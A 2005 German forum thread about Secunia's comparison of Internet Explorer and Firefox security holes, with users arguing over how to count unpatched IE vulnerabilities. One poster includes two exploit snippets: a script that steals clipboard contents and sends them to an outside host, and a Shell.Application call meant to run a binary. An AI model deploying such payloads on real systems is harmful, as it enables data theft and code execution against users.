[Großer]

Kampf der Giganten - Browser-Sicherheit: Internet Explorer vs. Firefox

Zitat

Einen interessanten Vergleich über die Anzahl der Sicherheitslücken und deren Status im Internet Explorer und Firefox bieten die Sicherheitsspezialisten von Secunia an. Was die reine Anzahl an Sicherheitslücken angeht, hat Firefox die Nase vorn. Insgesamt wurden im Jahr 2005 schon 17 Advisorys seitens Secunia verfasst. Beim Internet Explorer waren es gerade mal neun. Diese Zahlen sagen aber nicht alles aus. Es lohnt sich, sie mal genauer zu betrachten.

Bei den 17 gemeldeten Anfälligkeiten des Firefox lieferten die Entwickler in 88 Prozent der Fälle ein Gegenmittel. Lediglich einen teilweisen Fix oder bisher gar keinen gab es bei jeweils nur 6 Prozent aller Meldungen.

Beim Internet Explorer blieben dagegen bisher 56 Prozent der gemeldeten Probleme ungepatcht. Bei 33 Prozent lieferte Microsoft einen Patch und bei einem Sicherheitsproblem zumindest eine Teil-Lösung.

Interessant ist auch der Vergleich, für wie gefährlich Secunia die jeweiligen Lücken in den Browsern hält. "Extrem kritisch" war eine der IE-Lücken und bei Firefox keine. "Hoch kritisch" beim IE 22 Prozent und bei Firefox 24 Prozent.

Insgesamt - also nicht nur das Jahr 2005 betrachtend - weist die Secunia-Datenbank für Firefox insgesamt 21 Einträge auf, bei denen drei noch nicht gefixt wurden. Beim Internet Explorer 6 sind es insgesamt 83 Einträge von denen 20 noch nicht behoben wurden. Dabei ist allerdings wiederum das Gefahren-Potential der jeweiligen Probleme ausschlaggebend.

Die aktuelle Version von Firefox enthält zwar Anfälligkeiten, die gefährlichste Lücke ist aber nur mit "wenig kritisch" eingestuft worden. Der Internet Explorer 6 dagegen enthält Lücken, die teilweise als "hoch kritisch" gelten.

Generell gilt natürlich. Auch wenn Sie Firefox nutzen, sollten Sie die aktuelle Version einsetzen. Sonst ist die ganze Mühe der Entwickler, zumindest was Ihre Sicherheit angeht, für die Katz.

Secunia - Secunia-Bericht für das laufende Jahr 2005: Firefox 1.x
Secunia-Bericht für das laufende Jahr 2005: Internet Explorer 6

Quelle: PC Welt

[Rika]

Tja, nur ist die Datenbank von Secunia nicht die einzige. eEye beispielsweise hat für den IE 22 offene Einträge, die sich höchstwahrscheinlich kaum mit denen von Secunia überdecken. Das, was man bei Guninski, SecurityFocus, Die Li Yu und Thor Larholm findet, zählt ebenfalls, und zusammen mit einigen Informationen, die sich nicht so recht irgendeinem Entdecker zuordnen lassen, kommt ich allein auf 82 ungepatchte Lücken, davon über 40 als "kritisch" bis "extrem kritisch" einzustufen. Und dabei habe ich noch nicht mal selbst nach Bugs gesucht, sondern einfach nur frei verfügbare Informationen zusammengetragen.

Im übrigen gibt es für die offenen Posten bei Firefox sehr wohl Workarounds, die sehr einfach zu implementieren sind und von den Entwicklern endlich mal per Default in der Konfiguration ausgeliefert werden sollten. Dank capability.policy.default.* kann man problemlos den Zugriff auf solche unnützen und eigentlich nur gefährlichen Objekte wie 'netscape', 'Component', 'classes' und auch Funktionen einzelner Objekte (anchor.focus(), window.createPopup() und anderen unnützen Müll) sperren. Probleme sind dadurch nicht zu erwarten, eher, wie ich auch feststellen darf, ein prkativer Schutz gegen zukünftige Exploits.

[swissboy]

... eine wunderbare Flame-Vorlage für die Frontseite.

[Großer]

das zeugt doch mal wieder von der "guten" Arbeit die MS verrichtet.
Mich würde mal interessieren wie alt die älteste noch bestehende Lücke im IE ist.

[Rika]

Ich tippe auf 1999, da wurde mit dem IE5 das absolut unnütze und nur für Exploits taugende execCommand() eingeführt.

<!-- stiehlt den Inhalt der Zwischenablage>
<form><textarea id="x" style="display:none"></textarea></form>
<script type="text/javascript">
x=document.getElementById('x');
d.focus();
document.execCommand('paste');
new Image('http://home.org/?x='+x.value);
</script>
<-->

oder

<!-- führt das Binary aus>
<object id="x" type="image/gif" data="evil.jpg" src="evil.jpg" class="Shell.Application"></object>
<script type="text/javascript">
window.focus();
document.focus();
document.getElementById('x').focus();
document.execCommand('ShellExecute');
</script>
<-->

[shogun03]

was solls , wer 82 behauptungen aufstellen kann hat auch genügend zeit 82 beweise dafür zu liefern das es sich erstens dabei wirklich um nachgewiesene sicherheitskritische schwachstellen handelt und zweitens es noch keinen patch dafür gab.
es ist ja nicht so das es um irgendwelches abstreiten gänge nur wenn ich was behaupte muss ichs auch beweisen können , was mich bis jetzt jedenfalls zweifeln lässt ist die behauptete anzahl.

[swissboy]

Ich korrigiere mich: Auch eine wunderbare Flame-Vorlage für das Forum.

[Rika]

Zitat

das es sich erstens dabei wirklich um nachgewiesene sicherheitskritische schwachstellen handelt

Den Exploit auf eine Webseite zu laden und diese im IE zu öffnen ist trivial. Nun ja, bei dem ShellExecute-Bug muss man den MIME-Typ entsprechend anpassen, bei manchen der Exploits braucht man auch entsprechend manipulierte HTTP-Header.

Zitat

und zweitens es noch keinen patch dafür gab.

Man verwende den aktuellen IE mit allen Patches. Und auch zum Vergleich noch den IE6SP1 auf Win2K.

Zitat

was mich bis jetzt jedenfalls zweifeln lässt ist die behauptete anzahl.

Erinnerst du dich noch an die Beschriebung zu der Lücke in der javaprxy.dll? Das ursprüngliche Advisory benennt über 20 dieser fehlerhaften Controls, javaprxy war nur exemplarisch genannt - deshalb wurde auch nur dieses exemplarisch gefixt, den anderen Controls wurde keine Beachtung geschenkt. minimale Anzahl der Lücken += 20, berechtigterweise, da die Controls jeweils einzeln zu betrachten sind und die Ausprägung des Problems relativ spezifisch ist. DoS durch rekursive Parameter Überladungen (<object src="?AAAAAAAAAAAAAAAAAAAAAAAAA">) wiederum sind ganz klar zusammenzufassen. Und so zieht sich das halt hin. 82 ist dabei wirklich noch vergleichsweise niedrig angesetzt.

Ansonsten: Ja, ich bereite gerade ein Webseite mit einem Full Disclosure aller öffentlich bekannter Lücken vor, nachdem Microsoft mal wieder bewiesen hat, daß "Responsible Disclosure" nur zur Ignoranz der Probleme führt. Aber ich hab auch noch andere Sachen zu tun, z.B. Analyse und Migration der ZLib-Buggeschichte (Hilfe, du hast ja gar keine Ahnung, welche Anwendungen so alles die ZLib benutzten, wieviele davon eine alte Version und wieviele davon potentiell gefährlich sind, weil sie zum Inflaten von potentiell nichtvertrauenswürdigen Daten dienen!).

[swissboy]

@Rika: Genau da liegt das Problem bei deiner Zählweise. 20 Controls sind bei dir automatisch 20 Sicherheitslücken. Diese Zählweise ist einfach lächerlich und unglaubwürdig.
Aber es ist ja völlig zwecklos mit dir über dieser Thema zu diskutieren. Sobald du nur schon den Begriff "Internet Explorer" hörst brennen bei dir alle Sicherungen durch.

[Rika]

Zitat

Genau da liegt das Problem bei deiner Zählweise. 20 Controls sind bei dir automatisch 20 Sicherheitslücken. Diese Zählweise ist einfach lächerlich und unglaubwürdig.

Wenn es genau eine Sicherheitslücke wäre, dann würde genau ein Patch die Lücke schließen und sie nicht mehr ausnutzbar sein. Ist aber nicht der Fall.

Nein, es sind definitiv 20, da jedes Control deaktiviert oder durch eine fehlerbereinigte Version ersetzt werden müsste, und nicht nur 1. Es ist jeweils 1 Fehler in 20 verschiedenen und voneinander unabhängigen Modulen, und nur der dahinterstehende systematische Fehler ist gleich.

Man kann die Angriffe über einen Angriffsbaum sehr genau klassifzieren und jeweils die tatsächlichen Ursachen-Baumknoten genau identifizieren - wenn beispielsweise ein Knoten selbst für sich harmlos ist, aber durch einen Unterknoten erfüllbar wird, dann zählt jeder dieser Unterknoten einzeln und der Knoten selbst als nicht für sich selbständiges Problem. Ist ein Knoten selbst die Ursache und potentiell unendlich viele Unterknoten, dann ist der Knoten das Problem und zählt nur für sich allein.

In diesem Falle ist das Problem nicht das Interface für den COM-Objekt-Loader, sondern jeweils dessen Implementierungen in einigen COM-Modulen. Andere COM-Module wiederum haben ordentliche Implementierungen, und das Interface alleine ist kein Bug.

[shogun03]

@rika

wir reden aber nicht von bugs die freezes oder abstürze verursachen , die gibts bei anderen browsern auch.
komischerweise hatte ich schon öfters in gewissen abständen die POCs von "Unpatched Internet Explorer Bugs" ausgetestet und da ging fast nichts davon . entweder sind diese demos zu halbherzig in der schadroutine oder diese POCs sind einfach inaktuell weil die lücke schon geschlossen wurde.

p.s. ich freu mich schon auf deine webseite , ich hoffe jedoch du testest die demos vorher auch alle selber .

Dieser Beitrag wurde von shogun03 bearbeitet: 02. August 2005 - 20:05

[swissboy]

@Rika: Es ist zwar sicher praktisch und zeitsparend die Anzahl Sicherheitslücken mit dem Taschenrechner auszurechnen aber sicher nicht korrekt.
Sorry, aber ich kann deine sogenannte "Statisktik" nicht im Geringsten ernst nehmen.

[BadAss]

Kann ich nicht lesen oder kommt es mir so vor, als ob nur eine Seite wirkliche Argumente bringt?